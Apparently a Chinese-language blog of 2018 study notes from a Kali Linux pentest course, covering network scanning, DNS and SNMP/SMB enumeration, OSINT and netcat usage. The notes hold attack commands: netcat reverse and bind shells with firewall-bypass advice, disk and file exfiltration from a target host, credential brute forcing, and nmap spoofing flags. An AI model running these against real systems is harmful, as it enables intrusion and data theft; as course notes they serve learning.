顯示具有 安全牛課堂 標籤的文章。 顯示所有文章
顯示具有 安全牛課堂 標籤的文章。 顯示所有文章

2018年3月26日 星期一

Kali實戰 - 主動資訊收集 筆記

課程地址:Kali实战-主动信息收集

1.二層掃描(ARP)


優點:速度快


缺點:不可路由


nmap -sn <ip>/24 #不做 port scan


netdiscover -i eth0 -r <ip>/24 #主動掃描


netdiscover -p #被動掃描



2.三層掃描(IP、ICMP)


優點:可路由、速度快


缺點:速度比二層慢、經常被邊界防火牆過濾


tracerout <target>、ping -R <target> #找出到目標之間的所有路由資訊



3.四層掃描(TCP、UDP)


優點:可路由、結果可靠、不易被防火牆過濾、可發現所有 port 都過濾的主機


缺點:基於狀態過濾的防火牆可能過濾掃描、port 掃描速度慢


TCP掃瞄原理:檢查目標是否回 RST


UDP掃瞄原理:檢查目標是否回 ICMP 無法接收


nmap <ip> -PU/A/S/Y/E/P/O<port> -sn #發UDP/TCP ACK/TCP SYN/SCTP/ICMP echo/timestamp/請求目標ip的netmask/IP協議的ping

hping3 --udp <ip> -c 1 #只發一次UDP

hping3 <ip> -c 1 #只發一次TCP(把所有的TCP flag設為0)


4.端口掃描

查看本機開放端口:netstat -pantu | grep tcp/udp

(1)UDP

若目標回應 ICMP port-unreachable 則表示 port 為關閉;若目標不回應 ICMP port-unreachable 則可能產生誤判。準確度高、耗時高。

nmap -sU <ip> -p-

(2)TCP

基於三次握手的變化判斷目標 port 狀態。

  • 全連接掃描

建立完整的連接。

nmap -sT -p- <ip> 

nc -nv -w 1 -z <ip> 1-65535

  • 隱蔽掃描

隱蔽掃描(只發syn,確認是否收到目標的ack):不建立完整連接、應用層日誌不紀錄掃描行為(網路層仍會紀錄)。

攻擊者向目標主機發 SYN,目標主機回傳 SYN/ACK,攻擊者再向目標主機發 RST 斷開連接。

nmap -sS -p- <ip>

hping3 <ip> --scan 0-65535 -S

  • 殭屍掃描

殭屍掃描前置條件:殭屍機可偽造來源 IP、殭屍機須為閒置狀態(否則IPID會不斷增加)、IPID須為遞增(均為0或隨機產生則無法利用)

殭屍掃描流程:


port 為開放狀態
(1)攻擊者向殭屍機發 SYN/ACK,殭屍機回傳 RST(包含 IPID=x)
(2)攻擊者向目標主機發 SYN(偽造來源地址為殭屍機),目標主機向殭屍機回 SYN/ACK,殭屍機再回傳目標主機 RST(IPID=x+1)
(3)攻擊者向殭屍機發 SYN/ACK,殭屍機回傳 RST,若 IPID=x+2,則代表目標 port 為開放
port 為關閉狀態

(1)攻擊者向殭屍機發 SYN/ACK,殭屍機回傳 RST(包含 IPID=x)
(2)攻擊者向目標主機發 SYN(偽造來源地址為殭屍機),目標主機向殭屍機回傳 RST

(3)攻擊者向殭屍機發 SYN/ACK,殭屍機回傳 RST,若 IPID=x+1,則代表目標 port 為關閉

找出殭屍機:nmap -p <ip> --script=ipidseq.nse #確認ipidseq為Incremental才可作為殭屍機


殭屍掃描:nmap <殭屍機ip> -sl <ip> -Pn -p-


5.banner 掃描

nc -nv <ip> <port>

nmap -sT <ip> -p- --script=banner.nse #須建立完整連接,故只能用sT

amap -B <ip> 1-65535 | grep on


6.服務辨識

nmap -sV <ip> -p-

amap <ip> 1-65535 -qb


7.OS 辨識

TTL 起始值:
Windows:65 - 128
Linux / Unix:1 - 64、255

nmap -O <ip>

被動掃描:p0f


8.SNMP 掃描

snmpwalk <ip> -v 2c #掃描目標主機的snmp,版本分為1、v2c、3

snmpwalk <ip> -v 2c <oid> #針對oid做詳細掃描

snmpcheck -t <ip> -v 2 #1、2、3

onesixtyone -c /usr/share/doc/onesixtyone/dict.txt   <ip> -w 100 #爆破community string for snmpv1、2

hydra -P <dictionary> <ip> snmp #爆破community string for snmpv1、2

nmap -sU -v --script snmp-brute --script-args passdb=passwords.lst <ip> #爆破community string for snmpv1、2

nmap -sU -v --script snmp-brute --script-args userdb=usernames.lst,passdb=passwords.lst <ip> #爆破username、pwd for snmpv3


9.SMB 掃描

SMBv1:Windows 2000 / Windows 2003 / XP
SMBv2:Windows Vista / Windows 2008
SMBv2.1:Windows 7 / Windows 2008 R2
SMBv3:Windows 8 / Windows 2012 

nmap <ip> -p --script=smb-os-discovery.nse

nmap -v -p --script=smb-check-vulns --script-args=unsafe=1 <ip> #unsafe=1可能讓目標主機當機,保險起見可使用safe=1
https://github.com/jwilkins/nmap/blob/master/scripts/smb-check-vulns.nse

nbtscan -r <ip>/24 #可跨網段掃描

enum4linux -a <ip> #掃描資訊較其他工具詳細

10.SMTP 掃描


nmap <host> -p <port> --script=smtp-enum-users.nse --script-args=smtp-enum-users.methods={VRFY}

nmap <host> -p <port> --script=smtp-open-relay.nse


11.負載平衡辨識

lbd <host> or <ip


12.WAF 辨識

wafw00f <host>

nmap <host> --script=http-waf-detect.nse


13.nmap 特殊參數

--exclude <ip> 去除指定ip

--excludefile <file> 去除指定檔案的ip

-sV --version-all 顯示最詳細的版本資訊

--script-updatedb 更新腳本db

--script-help-<file.nse>

--min-hostgroup <size> 先將多個IP分組,再並行掃描多個群組。掃C段時建議設256,若掃較少的port,建議使用>=2048

--min-rate <num>

-D <ip1> <ip2> <ip3> <target_ip> 大量假ip的掩護

-S <fakeip> -e eth0 <target_ip> 使用假ip做掩護

-g<fakeport> <target_ip> 使用假port作做掩護

--spoof-mac <fakemac> 使用假mac做掩護

--badsum 發送錯誤的checksum bypass waf
補充資料:Freebuf - Nmap备忘单:从探索到漏洞利用

2018年3月20日 星期二

Kali實戰 - 被動資訊收集 筆記

課程地址:Kali实战-被动信息收集

1.DNS 域名紀錄分類:
A:將主機名稱解析為 IPv4 地址
AAAA:將主機名稱解析為 IPv6 地址
CNAME:主機的別名
NS:域名伺服器地址的解析
MX:電子郵件伺服器
PTR:從 IP 解析為主機的 FQDN


2.預設查詢的 dns 伺服器
/etc/resolv.conf

#pt 前應多加幾個 dns 伺服器

3.nslookup
set type=any/a/mx/... #只查詢特定紀錄,type可替換為 q

nslookup <host> <dns_server> #以指定的 dns server 查詢指定的主機名稱

3.dig

dig <host_name> any @<dns_server> #以指定的 dns server 查詢指定的主機名稱

dig +noall +answer <host_name> #只顯示 answer

dig -x <ip> #反向查詢

dig +noall +answer txt chaos VERSION.BIND @<dns_server> #查 dns server 的 bind 版本,以用來打下 dns server,取得整個主機紀錄名稱

dig +trace <host_name> #追蹤整個 dns 解析過程(迭代查詢)

dig @<dns_server> <host_name> axfr #區域傳輸,從指定的 dns server 取得指定的主機名稱所有的主機紀錄
等同host -T -l <host_name> <dns_server>

補充資料:DNS查询方式浅谈


4.dns 字典爆破

fierce -dnsserver <dns_server> -dns <host_name> -wordlist /usr/share/fierce/hosts.txt #先進行區域傳輸,再做字典爆破

dnsdict6 -d4 -t 16 -u <host_name> #顯示ipv4、ipv6、16個執行緒、使用預設最大的字典檔

dnsenum -f <world_list> -dnsserver <dns_server> <host_name> -o <file>

dnsrecon -d <host_name> --lifetime 10 -t brt -D <word_list> #超過10秒未回應則不處理


5.dns 註冊資訊
whois <host_name>


6.查詢以deb安裝的軟體於本機上儲存的檔案
dpkg -L <soft_name>


7.shodan 常用 filter:
net: x.x.x.0/24
city: beijing
country: CN
os: windows
hostname: google.com
server: Apache/x.x.x
port: 22
HTTP/1.1 200

https://www.shodan.io/explore


8.google 常用 filter:
inurl:
intitle:
intext:
-x +y
filetype:
site:

https://www.exploit-db.com/google-hacking-database/


9.俄羅斯搜尋引擎

https://www.yandex.com


10.收集個人資訊

theharvester -d <domain_name> -l 300 -b all

metagoofil -d <domain_name> -t <filetype> -l 300 -o <dir> -f <output_file>

maltego


11.針對特定目標製作的密碼字典

Common User Passwords Profiler (CUPP)

python cupp.py -i


12.METADATA

exiftool <file_name>

Foca


13.recon-ng

recon-ng -w <工作區>

補充資料:web渗透信息侦察收集工具——Recon-ng

2018年3月18日 星期日

Kali實戰 - 基本工具 筆記

課程地址:Kali实战-基本工具

1.mtr <ip> 追蹤路由狀況


2.nc

nc -nv <ip> <port> #不解析 dns 直接連,查 banner、做 telnet 功用

nc -nvlp <port> #偵聽端口

nc -nz <ip> 1-65535 #掃描 TCP port

nc -nzu <ip> 1-65535 #掃描 UDP port

遠端電子取證:
本機:nc -nvlp <port>
目標主機:<command> | nc -nv <ip> <port> ,即可將目標主機之指令輸出內容傳遞給本機,若如使用 ps 等指令會不停輸出結果,則於後方加入 -q 1

傳檔案:
本機:nc -nvlp <port> > <file>
目標主機:nc -nv <ip> <port> < <file> -q 1

傳目錄:
本機:tar -cvf - <folder>/ | nc -nvlp <port>
目標主機:nc -nv <ip> <port> | tar -xvf -

影音串流:
傳送方:cat 1.mp4 | nc -nvlp <port>
接收方:nc -nv <ip> <port> | mplayer -vo x11 -cache 3000 -

遠端複製硬碟:
本機:nc -nvlp <port> | dd of=/dev/sda
目標主機:dd if=/dev/sda | nc -nv <ip> <port> -q 1

遠端控制:
(1)正向:
目標主機:nc -nvlp <port> -c bash 或 cmd
主機:nc -nv <ip> <port>ssl


(反向):
目標主機:nc -nv <ip> <port> -c bash 或 cmd
主機:nc -nvlp <port> #建議設 53 或其他常用的固定 port,以 bypass 目標主機的邊界防火牆

補充資料:Linux nc (netcat) 详解


3.ncat

彌補 nc 傳輸無加密、無身份驗證、肉雞開 port 後無法自動關閉的缺陷

目標主機:ncat -c bash --allow <ip> -nvl <port> --ssl
本機:ncat -nv <ip> <port> --ssl


4.tcpdump

預設狀況下只抓每個封包的前 68 個字節

tcpdump -i eth0 -s 0 -w <file> #-s 0 代表抓封包有多大抓多大

tcpdump -r <file> #讀取封包

tcpdump -A -r <file> #以 ASCII 讀封包內容

tcpdump -X -r #以 16 進制讀取封包內容

tcpdump -i eth0 port <port> #抓特定 port

tcpdump -n #不做 dns 解析

tcpdump -n -r <file> | awk '{print $3}' | sort -u #只顯示第三列的內容,且去除重複內容

tcpdump -n src/dst host <ip> port <port>  -r <file> #只顯示來源/目標是該 ip 的特定 port 內容


補充資料:tcpdump使用技巧


5.過程紀錄工具

(1)dradis
(2)keepnote
(3)truecrypt(參考:目录加密